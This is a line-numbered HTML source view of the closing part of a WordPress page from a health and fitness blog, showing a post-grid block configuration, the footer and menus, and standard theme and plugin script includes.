  732. }}var penciBlocksArray = penciBlocksArray || [];var PENCILOCALCACHE = PENCILOCALCACHE || {};var penci_grid_7__49515520 = new penciBlock();penci_grid_7__49515520.blockID="penci_grid_7__49515520";penci_grid_7__49515520.atts_json = '{"build_query":"post_type:post|size:3|order_by:date|order:DESC|categories:527","add_title_icon":"","title_i_align":"left","title_icon":"","image_type":"vertical","image_ratio":1.34,"image_size":"penci-thumb-480-645","block_title_meta_settings":"","block_title_align":"style-title-left","block_title_off_uppercase":"","block_title_wborder_left_right":"5px","block_title_wborder":"3px","post_title_trimword_settings":"","post_standard_title_length":"12","hide_comment":"true","hide_post_date":"true","hide_icon_post_format":"","hide_cat":"true","show_allcat":"","hide_review_piechart":"","show_author":"","show_count_view":"","dis_bg_block":"true","enable_stiky_post":"","style_pag":"next_prev","post_category_css":"","pagination_css":"","loadmore_css":"","disable_bg_load_more":"","custom_markup_1":"","ajax_filter_type":"","ajax_filter_selected":"","ajax_filter_childselected":"","ajax_filter_number_item":"5","block_id":"penci_grid_7-1641360403601","penci_show_desk":"1","penci_show_tablet":"1","penci_show_mobile":"1","paged":1,"unique_id":"penci_grid_7__49515520","shortcode_id":"grid_7","category_ids":"","taxonomy":""}';penci_grid_7__49515520.content="";penciBlocksArray.push(penci_grid_7__49515520);</script></div></div></div></div><div class="vc_empty_space"   style="height: 40px"><span class="vc_empty_space_inner"></span></div></div></div></div></div><div class="vc_row wpb_row vc_row_24637990 vc_row-fluid penci-pb-row"><div class="wpb_column vc_column_container vc_col-sm-12 penci-col-12"><div class="vc_column-inner wpb_column vc_column_container vc_col-sm-12 penci-col-12 "><div class="wpb_wrapper"></div></div></div></div><div class="vc_row wpb_row vc_row_73391643 vc_row-fluid penci-pb-row"><div class="wpb_column vc_column_container vc_col-sm-12 penci-col-12"><div class="vc_column-inner wpb_column vc_column_container vc_col-sm-12 penci-col-12 "><div class="wpb_wrapper"><div class="vc_empty_space"   style="height: 40px"><span class="vc_empty_space_inner"></span></div></div></div></div></div>
  733. </main><!-- #main -->
  734. </div><!-- #primary -->
  735.  
  736. </div><!-- #content -->
  737. <footer id="colophon" class="site-footer" itemscope itemtype="http://schema.org/WPFooter">
  738. <meta itemprop="name" content="Webpage footer for Top Health Fitness Tips"/>
  739. <meta itemprop="description" content="The Ideal Blog for Health, Fitness and Beauty"/>
  740. <meta itemprop="keywords" content="Data Protection, Copyright Data"/>
  741. <meta itemprop="copyrightYear" content="2025"/>
  742. <meta itemprop="copyrightHolder" content="Top Health Fitness Tips"/>
  743. <div class="footer__bottom style-2">
  744. <div class="footer__bottom_container footer__sidebars-inner penci-container-1170">
  745. <div class="row">
  746. <div class="footer__bottom-item footer__logo penci-col-4">
  747. <a href="https://www.tophealthfitnesstips.com/" rel="home"><img  src="https://www.tophealthfitnesstips.com/wp-content/uploads/2022/01/logo.png" alt="logo "/></a> </div>
  748. <div class="footer__bottom-item penci-footer-text-wrap penci-col-8">
  749. <div class="block-title"><span>About US</span></div>
  750.  
  751. <span class="penci-footer-text-content">Welcome to Tophealthfitnesstips. Our goal at Tophealthfitnesstips is to provide our readers with more information about hardware, software, cybersecurity, gadgets, mobile apps and new technology trends such as AI, IOT and more.</span><div class="footer-email-wrap">Contact us: <a href="mailto:contact@tophealthfitnesstips.com">contact@tophealthfitnesstips.com</a></div>
  752. </div>
  753. </div>
  754. </div>
  755. </div> <div class="footer__copyright_menu">
  756. <div class="footer__sidebars-inner penci-container-1170 penci_bottom-sub penci_has_copyright penci_has_menu">
  757. <div class="site-info">
  758. Copyright © 2025 All Rights Reserved By <a href="https://www.tophealthfitnesstips.com/">Top Health Fitness Tips</a>.
  759. </div><!-- .site-info -->
  760. <div class="sub-footer-menu"><ul id="menu-footer-menu" class="menu"><li id="menu-item-833" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-833"><a href="https://www.tophealthfitnesstips.com/about-us/">About Us</a></li>
  761. <li id="menu-item-832" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-832"><a href="https://www.tophealthfitnesstips.com/blog/">Blog</a></li>
  762. <li id="menu-item-839" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-839"><a href="https://www.tophealthfitnesstips.com/write-for-us/">Advertise</a></li>
  763. <li id="menu-item-834" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-834"><a href="https://www.tophealthfitnesstips.com/contact-us/">Contact Us</a></li>
  764. </ul></div> </div>
  765. </div> </footer><!-- #colophon -->
  766. </div><!-- #page -->
  767.  
  768. <aside class="mobile-sidebar ">
  769.  
  770. <div class="header-social sidebar-nav-social">
  771. <div class="inner-header-social">
  772. </div>
  773. </div>
  774. <nav class="mobile-navigation" itemscope itemtype="http://schema.org/SiteNavigationElement">
  775. <ul id="primary-menu-mobile" class="primary-menu-mobile"><li class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-2630"><a href="https://www.tophealthfitnesstips.com/category/health/">Health</a></li>
  776. <li class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-1821"><a href="https://www.tophealthfitnesstips.com/category/fitness/">Fitness</a></li>
  777. <li class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-2629"><a href="https://www.tophealthfitnesstips.com/category/well-being/">Well Being</a></li>
  778. <li class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-2127"><a href="https://www.tophealthfitnesstips.com/category/remedies/">Remedies</a></li>
  779. <li class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-1823"><a href="https://www.tophealthfitnesstips.com/category/diet/">Diet</a></li>
  780. </ul> </nav>
  781. </aside>
  782. <a id="close-sidebar-nav" class="header-1"><i class="fa fa-close"></i></a>
  783. <a href="#" id="scroll-to-top"><i class="fa fa-angle-up"></i></a>
  784. <script type="text/html" id="wpb-modifications"></script><link rel='stylesheet' id='vc_google_fonts_montserrat-css' href='//fonts.googleapis.com/css?family=Montserrat&#038;ver=6.7.2' type='text/css' media='all' />
  785. <script type="text/javascript" src="https://www.tophealthfitnesstips.com/wp-includes/js/dist/hooks.min.js?ver=4d63a3d491d11ffd8ac6" id="wp-hooks-js"></script>
  786. <script type="text/javascript" src="https://www.tophealthfitnesstips.com/wp-includes/js/dist/i18n.min.js?ver=5e580eb46a90c2b997e6" id="wp-i18n-js"></script>
  787. <script type="text/javascript" id="wp-i18n-js-after">
  788. /* <![CDATA[ */
  789. wp.i18n.setLocaleData( { 'text direction\u0004ltr': [ 'ltr' ] } );
  790. /* ]]> */
  791. </script>
  792. <script type="text/javascript" src="https://www.tophealthfitnesstips.com/wp-content/plugins/contact-form-7/includes/swv/js/index.js?ver=6.0.5" id="swv-js"></script>
  793. <script type="text/javascript" id="contact-form-7-js-before">
  794. /* <![CDATA[ */
  795. var wpcf7 = {
  796.    "api": {
  797.        "root": "https:\/\/www.tophealthfitnesstips.com\/wp-json\/",
  798.        "namespace": "contact-form-7\/v1"
  799.    },
  800.    "cached": 1
  801. };
  802. /* ]]> */
  803. </script>
  804. <script type="text/javascript" src="https://www.tophealthfitnesstips.com/wp-content/plugins/contact-form-7/includes/js/index.js?ver=6.0.5" id="contact-form-7-js"></script>
  805. <script type="text/javascript" id="penci-js-extra">
  806. /* <![CDATA[ */
  807. var PENCILOCALIZE = {"ajaxUrl":"https:\/\/www.tophealthfitnesstips.com\/wp-admin\/admin-ajax.php","nonce":"c6878e6cc4","errorMsg":"Something wrong happened. Please try again.","login":"Email Address","password":"Password","errorPass":"<p class=\"message message-error\">Password does not match the confirm password<\/p>","prevNumber":"1","minlengthSearch":"0","linkTitle":"View More","linkTextAll":"Menu","linkText":"More"};
  808. /* ]]> */
  809. </script>
  810. <script type="text/javascript" src="https://www.tophealthfitnesstips.com/wp-content/themes/pennews/js/script.min.js?ver=6.5.7" id="penci-js"></script>
  811. <script type="text/javascript" src="https://cdn.onesignal.com/sdks/web/v16/OneSignalSDK.page.js?ver=1.0.0" id="remote_sdk-js" defer="defer" data-wp-strategy="defer"></script>
  812. <script type="text/javascript" src="https://www.tophealthfitnesstips.com/wp-content/plugins/js_composer/assets/js/dist/js_composer_front.min.js?ver=6.1" id="wpb_composer_front_js-js"></script>
  813. <script type="text/javascript" src="https://www.tophealthfitnesstips.com/wp-content/plugins/js_composer/assets/lib/bower/skrollr/dist/skrollr.min.js?ver=6.1" id="vc_jquery_skrollr_js-js"></script>
  814.  
  815. <!-- This site is optimized with Phil Singleton's WP SEO Structured Data Plugin v2.7.11 - https://kcseopro.com/wordpress-seo-structured-data-schema-plugin/ -->
  816. <script type="application/ld+json">{
  817.    "@context": "https://schema.org/",
  818.    "@type": "WebSite",
  819.    "url": "https://www.tophealthfitnesstips.com",
  820.    "name": null,
  821.    "alternateName": null
  822. }</script>
  823. <!-- / WP SEO Structured Data Plugin. -->
  824.  
  825. </body>
  826. </html>
  827.  
  828.  
  829. <!-- Page cached by LiteSpeed Cache 6.5.4 on 2025-05-09 17:58:22 -->
Copyright © 2002-9 Sam Ruby, Mark Pilgrim, Joseph Walton, and Phil Ringnalda